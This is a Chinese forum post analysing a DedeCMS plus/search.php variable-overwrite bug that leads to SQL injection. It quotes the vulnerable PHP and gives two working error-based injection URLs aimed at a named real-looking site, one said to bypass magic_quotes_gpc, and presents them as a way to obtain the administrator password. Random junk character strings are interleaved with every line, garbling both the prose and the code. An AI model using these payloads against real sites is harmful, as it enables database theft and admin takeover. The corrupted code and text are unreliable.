微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
2 K! v! A# x( V8 Y! K0 L9 l作者: c4rp3nt3r@0x50sec.org6 T1 T, |0 K, J8 N9 F8 p# f
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
& Y8 x- H; X9 P% z1 E$ j
2 L2 X, {5 B$ ~( D1 C/ `7 d黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
' Z, O K7 l, G
& n& z7 g, O1 ^* z4 L' _============
: D& i) r2 y! q7 @ : z( _2 W3 ^- n$ U
* d+ M2 W2 b* |
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
/ k. s3 G% P5 [/ p) A$ g' W' z 6 K: a/ W. f3 u+ Z: ]
require_once(dirname(__FILE__).”/../include/common.inc.php”);: s, Y- C! P& m1 X) @* u
require_once(DEDEINC.”/arc.searchview.class.php”);* \( {+ z# a8 X1 w4 i: t. t$ Y
L* g3 F. s1 n i1 _- t5 h
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
4 i6 G/ U4 M2 J$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
. M0 r6 r( R, D. R. J0 L H0 K# g$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
' [6 n" S, k0 z$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;+ `) u, k1 t$ R
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;7 h* j. a0 f9 \
7 r% ?7 N8 u0 Y0 N" ?
if(!isset($orderby)) $orderby=”;5 c* D+ a2 D3 C# x
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);7 u0 _9 }6 X7 C+ F8 _% d
. @0 n9 G2 Q) U8 i5 n; r
( R1 C! f6 q& B% b/ r( W4 `if(!isset($searchtype)) $searchtype = ‘titlekeyword’;. m" g1 [+ q6 v4 J. \ H
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
% q% e: w: y2 ?6 T# H6 m
4 N& Z( K- n, T1 ~" e0 yif(!isset($keyword)){
, \' l: D6 v8 H if(!isset($q)) $q = ”;
. ?; A4 H; _% G$ A $keyword=$q;# {+ O8 ]+ A( |3 N& i5 }2 E
}
4 k% Y( E( w& M; R( ^+ o2 L8 p& f % n! V3 q% O1 Y
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));# @) ?1 ~' T7 ?* _5 J
1 M9 w. D) H1 c# O. l4 C U! T# v7 x
//查找栏目信息3 j* w {# n: {$ Z7 N
if(empty($typeid))
8 S$ F; O" ~9 w. X( x9 M& n V& i0 {{; `& ] W) P7 x& T9 U% E) E
$typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
! B" o2 q1 W( j, ?9 G6 R8 z if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
; E: T+ E, `4 D f5 A+ k {
& d; W; F9 J; x& d& {3 J( ? $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);; Y3 v: E. h* e% O
fwrite($fp, “<”.”?php\r\n”);$ L Q" i( }8 b+ H
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
1 a! R. L( s8 c9 u $dsql->Execute();4 V$ v; Z$ ]# }6 E- ^& @/ L
while($row = $dsql->GetArray())
0 ~- @* O8 h1 R. r0 Z! j4 | {
+ `4 o$ z; u6 c W# i: X fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
6 Q! |7 h. m+ g+ ?" Z) W }
3 N4 G% w! L% F2 @$ A6 k$ P7 W fwrite($fp, ‘?’.'>’);5 \6 _" e9 }$ K" \. X, X
fclose($fp);
: z% ^9 J" T: t w6 w8 E }' W! t$ s" N4 z/ a* M: c
//引入栏目缓存并看关键字是否有相关栏目内容
5 g1 ~9 [4 D- |; a require_once($typenameCacheFile);
! f8 r9 a) P! H# L S//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个* h2 ]$ N: s6 p q
//
+ z- [/ S- r3 w; N4 B; h: d( @ if(isset($typeArr) && is_array($typeArr))( \, A: c" k5 R4 ~" ]3 l
{: o _/ W# I3 @$ i& ?
foreach($typeArr as $id=>$typename)# m# b% A* ^5 ]+ e
{
8 h+ [, y/ G- }0 k ]
! W7 T% u: s. g H* c; d; T! @ <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过& o: U% {. X* A, m8 y; c: w
if($keyword != $keywordn)
8 H( h" k( E$ ?5 a {; Q% [+ E; R4 z6 T
$keyword = $keywordn;* g0 F; ?% z2 R
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
. R0 B( z( N o$ A break;
; c* `: k: V$ Z" V }
# {$ B$ @. B$ @5 H }/ P! V* g- g/ C: N9 ~- ~
}
7 x( p+ x% b( |1 F' ^) ~3 R/ Y}) g9 U) Q, j# D5 \& W$ U1 l
然后plus/search.php文件下面定义了一个 Search类的对象 .$ c3 L+ j# i" d, r; G+ l
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
! m6 S0 L/ f( [) X) I5 I6 k. |. i$this->TypeLink = new TypeLink($typeid);8 q" ]7 z) s ~, `
8 V t, M0 H7 g+ v; V- ]. ~TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句., h' C0 G& y- r5 t) M, |4 @
; l2 A' q8 x" k/ A7 U; o' nclass TypeLink& y3 t3 d% [) L& g" a
{9 m& N6 R/ [5 S* t4 d' Y- u, u3 X, v% j3 [
var $typeDir;
" x4 Y7 \3 [( S1 K u6 e var $dsql;
8 {1 E% t$ K9 U9 S var $TypeID;
5 U9 N% A' D( \4 j5 p( b) d var $baseDir;
. p# j1 L1 D% C$ H; K# @ var $modDir;! `! _# a$ v+ U: o1 Z
var $indexUrl;" n$ v' ?% S! F4 w
var $indexName;
/ y9 t+ f8 E' K$ D; o var $TypeInfos;
% c) S. a2 a2 E var $SplitSymbol;
0 x) c3 m6 w. U9 t" [3 ^ var $valuePosition;6 f4 A4 u6 s, G1 w2 Z/ Q+ ]
var $valuePositionName;6 ^7 A& l$ G5 c! M8 A
var $OptionArrayList;//构造函数///////) b* r# i) `6 X
//php5构造函数6 b+ s$ e1 Q" \& ?2 ~% [
function __construct($typeid)
" M4 p5 U, u. ?* x. {- Z {
7 a1 n7 A: V: S5 U, {; O $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];% y, u+ h( B$ X1 J
$this->indexName = $GLOBALS['cfg_indexname'];* P, i8 H. N; g5 p4 X
$this->baseDir = $GLOBALS['cfg_basedir'];" ^' u4 Q: Y) U* L4 Q$ j% U) d$ V
$this->modDir = $GLOBALS['cfg_templets_dir'];
% B V( m& o) S $this->SplitSymbol = $GLOBALS['cfg_list_symbol']; h* t/ N& Q3 r; j0 K
$this->dsql = $GLOBALS['dsql'];+ h" a$ V7 I; F' p+ o
$this->TypeID = $typeid;. ]/ q9 Z+ C% i9 |& r9 Y
$this->valuePosition = ”;
& t& H* M1 P9 g# B! l( z $this->valuePositionName = ”;
P4 ?+ A% u9 `' l $this->typeDir = ”;9 ~- f" U7 V) H% B
$this->OptionArrayList = ”;
* O9 M, a/ B% {3 ^0 b
' A3 C. ]! F. J8 ]2 c0 l //载入类目信息2 m3 N+ E$ o, f, d
, P8 p- A' b5 Y9 Z* v' l <font color=”Red”>$query = “SELECT tp.*,ch.typename as
" K1 \# O" J. g- \1 U! v% Zctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
' i7 y0 H X' N4 \3 M$ B K% z`#@__channeltype` ch
/ |+ v. H# J! n on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿. c. m" Z! _8 y! I1 Q' S
. o A' C/ V8 h- ?
if($typeid > 0)
) D1 v0 u; l& f* P: ?& ^ {4 B: i0 V0 ~- D8 G* Z7 ~
$this->TypeInfos = $this->dsql->GetOne($query);
: N( i& @; U) l, a+ U3 M利用代码一 需要 即使magic_quotes_gpc = Off" `" L6 i% Y5 D' \, ^
" x& u8 B2 R. {; n
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title/ A( Q& j% D6 b- n% ^8 _1 F8 R; {
+ i7 [! H1 a$ U' Z T. o$ d- z+ Y& _0 a
这只是其中一个利用代码… Search 类的构造函数再往下" d. @# p; a8 }0 g
0 ^, @- @* K; Q* m. J……省略
0 b& a" c4 Z* y: T0 n$this->TypeID = $typeid;
% }6 g! p7 H4 s8 p7 o……省略5 k- R& |0 n. I, ]/ B) Y
if($this->TypeID==”0″){
' I/ e; ]* _6 D: {5 y# u $this->ChannelTypeid=1;
) U( V0 d. _8 k Q }else{
. x7 t+ c) d ]5 Z6 s) e; J0 d6 g $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
5 ]1 ~" c! d- C' W( I( i//现在不鸡肋了吧亲…& `, S/ c8 F: F$ \
$this->ChannelTypeid=$row['channeltype'];) H e6 t% [* _" L. |
( M- R8 e* ^( \# w2 v# p. S
} n0 B ]2 C! w
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用. b5 b# K# e4 H- @5 U7 D
4 P. b6 L: ~; owww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
) H* U$ M+ R, y4 H0 l . q! p1 ]" {9 @5 k
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
" B: a" P& |/ o' H0 t: G8 u, q |